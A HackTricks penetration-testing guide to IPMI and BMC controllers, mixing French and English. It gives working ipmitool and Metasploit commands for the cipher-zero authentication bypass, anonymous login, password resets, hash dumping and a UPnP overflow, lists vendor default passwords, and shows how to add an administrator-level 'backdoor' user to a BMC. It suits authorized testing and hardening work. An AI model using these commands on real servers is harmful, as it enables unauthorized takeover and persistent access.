hacktricks/network-services-pentesting/623-udp-ipmi.md

11 KiB

623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

Aperçu de l'IPMI

Interface de gestion de plate-forme intelligente (IPMI) offre une approche standardisée pour la gestion à distance et la surveillance des systèmes informatiques, indépendamment du système d'exploitation ou de l'état de l'alimentation. Cette technologie permet aux administrateurs système de gérer les systèmes à distance, même lorsqu'ils sont éteints ou non réactifs, et est particulièrement utile pour :

  • Configurations de démarrage pré-OS
  • Gestion de l'extinction
  • Récupération des pannes système

L'IPMI est capable de surveiller les températures, les tensions, les vitesses des ventilateurs et les alimentations électriques, tout en fournissant des informations d'inventaire, en examinant les journaux matériels et en envoyant des alertes via SNMP. Pour son fonctionnement, une source d'alimentation et une connexion LAN sont essentielles.

Depuis son introduction par Intel en 1998, l'IPMI est pris en charge par de nombreux fournisseurs, améliorant les capacités de gestion à distance, notamment avec le support de la version 2.0 pour la liaison série sur LAN. Les composants clés comprennent :

  • Contrôleur de gestion de carte mère (BMC) : Le microcontrôleur principal pour les opérations IPMI.
  • Bus et interfaces de communication : Pour la communication interne et externe, y compris ICMB, IPMB, et diverses interfaces pour les connexions locales et réseau.
  • Mémoire IPMI : Pour stocker les journaux et les données.

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

Port par défaut : 623/UDP/TCP (Il est généralement en UDP mais peut également fonctionner en TCP)

Énumération

Découverte

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Vous pouvez identifier la version en utilisant :

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

Vulnérabilités IPMI

Dans le domaine de l'IPMI 2.0, une faille de sécurité significative a été découverte par Dan Farmer, exposant une vulnérabilité à travers le type de chiffrement 0. Cette vulnérabilité, documentée en détail dans la recherche de Dan Farmer, permet un accès non autorisé avec n'importe quel mot de passe tant qu'un utilisateur valide est ciblé. Cette faiblesse a été trouvée sur divers BMC de fabricants tels que HP, Dell et Supermicro, suggérant un problème généralisé dans toutes les implémentations de l'IPMI 2.0.

Contournement de l'authentification IPMI via le chiffrement 0

Pour détecter cette faille, le scanner auxiliaire Metasploit suivant peut être utilisé :

use auxiliary/scanner/ipmi/ipmi_cipher_zero

L'exploitation de cette faille est réalisable avec ipmitool, comme démontré ci-dessous, permettant ainsi la liste et la modification des mots de passe des utilisateurs :

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

Récupération à distance du hachage du mot de passe pour l'authentification RAKP d'IPMI 2.0

Cette vulnérabilité permet la récupération des mots de passe hachés salés (MD5 et SHA1) pour n'importe quel nom d'utilisateur existant. Pour tester cette vulnérabilité, Metasploit propose un module :

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

Authentification anonyme IPMI

Une configuration par défaut dans de nombreux BMC permet l'accès "anonyme", caractérisé par des chaînes de nom d'utilisateur et de mot de passe nulles. Cette configuration peut être exploitée pour réinitialiser les mots de passe des comptes d'utilisateurs nommés en utilisant ipmitool :

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Mots de passe en clair IPMI Supermicro

Un choix de conception critique dans l'IPMI 2.0 nécessite le stockage des mots de passe en clair dans les BMC pour des raisons d'authentification. Le stockage de ces mots de passe par Supermicro dans des emplacements tels que /nv/PSBlock ou /nv/PSStore soulève des préoccupations de sécurité importantes :

cat /nv/PSBlock

Vulnérabilité UPnP de Supermicro IPMI

L'inclusion par Supermicro d'un écouteur UPnP SSDP dans son micrologiciel IPMI, en particulier sur le port UDP 1900, introduit un risque de sécurité grave. Les vulnérabilités dans le SDK Intel pour les appareils UPnP version 1.3.1, telles que détaillées par la divulgation de Rapid7, permettent un accès root au BMC:

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Brute Force

HP randomizes the default password for its Integrated Lights Out (iLO) product during manufacture. This practice contrasts with other manufacturers, who tend to use static default credentials. A summary of default usernames and passwords for various products is provided as follows:

  • HP Integrated Lights Out (iLO) uses a factory randomized 8-character string as its default password, showcasing a higher security level.
  • Products like Dell's iDRAC, IBM's IMM, and Fujitsu's Integrated Remote Management Controller use easily guessable passwords such as "calvin", "PASSW0RD" (with a zero), and "admin" respectively.
  • Similarly, Supermicro IPMI (2.0), Oracle/Sun ILOM, and ASUS iKVM BMC also use simple default credentials, with "ADMIN", "changeme", and "admin" serving as their passwords.

Accessing the Host via BMC

Administrative access to the Baseboard Management Controller (BMC) opens various pathways for accessing the host's operating system. A straightforward approach involves exploiting the BMC's Keyboard, Video, Mouse (KVM) functionality. This can be done by either rebooting the host to a root shell via GRUB (using init=/bin/sh) or booting from a virtual CD-ROM set as a rescue disk. Such methods allow for direct manipulation of the host's disk, including the insertion of backdoors, data extraction, or any necessary actions for a security assessment. However, this requires rebooting the host, which is a significant drawback. Without rebooting, accessing the running host is more complex and varies with the host's configuration. If the host's physical or serial console remains logged in, it can easily be taken over through the BMC's KVM or serial-over-LAN (sol) functionalities via ipmitool. Exploring the exploitation of shared hardware resources, like the i2c bus and Super I/O chip, is an area that demands further investigation.

Introducing Backdoors into BMC from the Host

Upon compromising a host equipped with a BMC, the local BMC interface can be leveraged to insert a backdoor user account, creating a lasting presence on the server. This attack necessitates the presence of ipmitool on the compromised host and the activation of BMC driver support. The following commands illustrate how a new user account can be injected into the BMC using the host's local interface, which bypasses the need for authentication. This technique is applicable to a wide range of operating systems including Linux, Windows, BSD, and even DOS.

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks: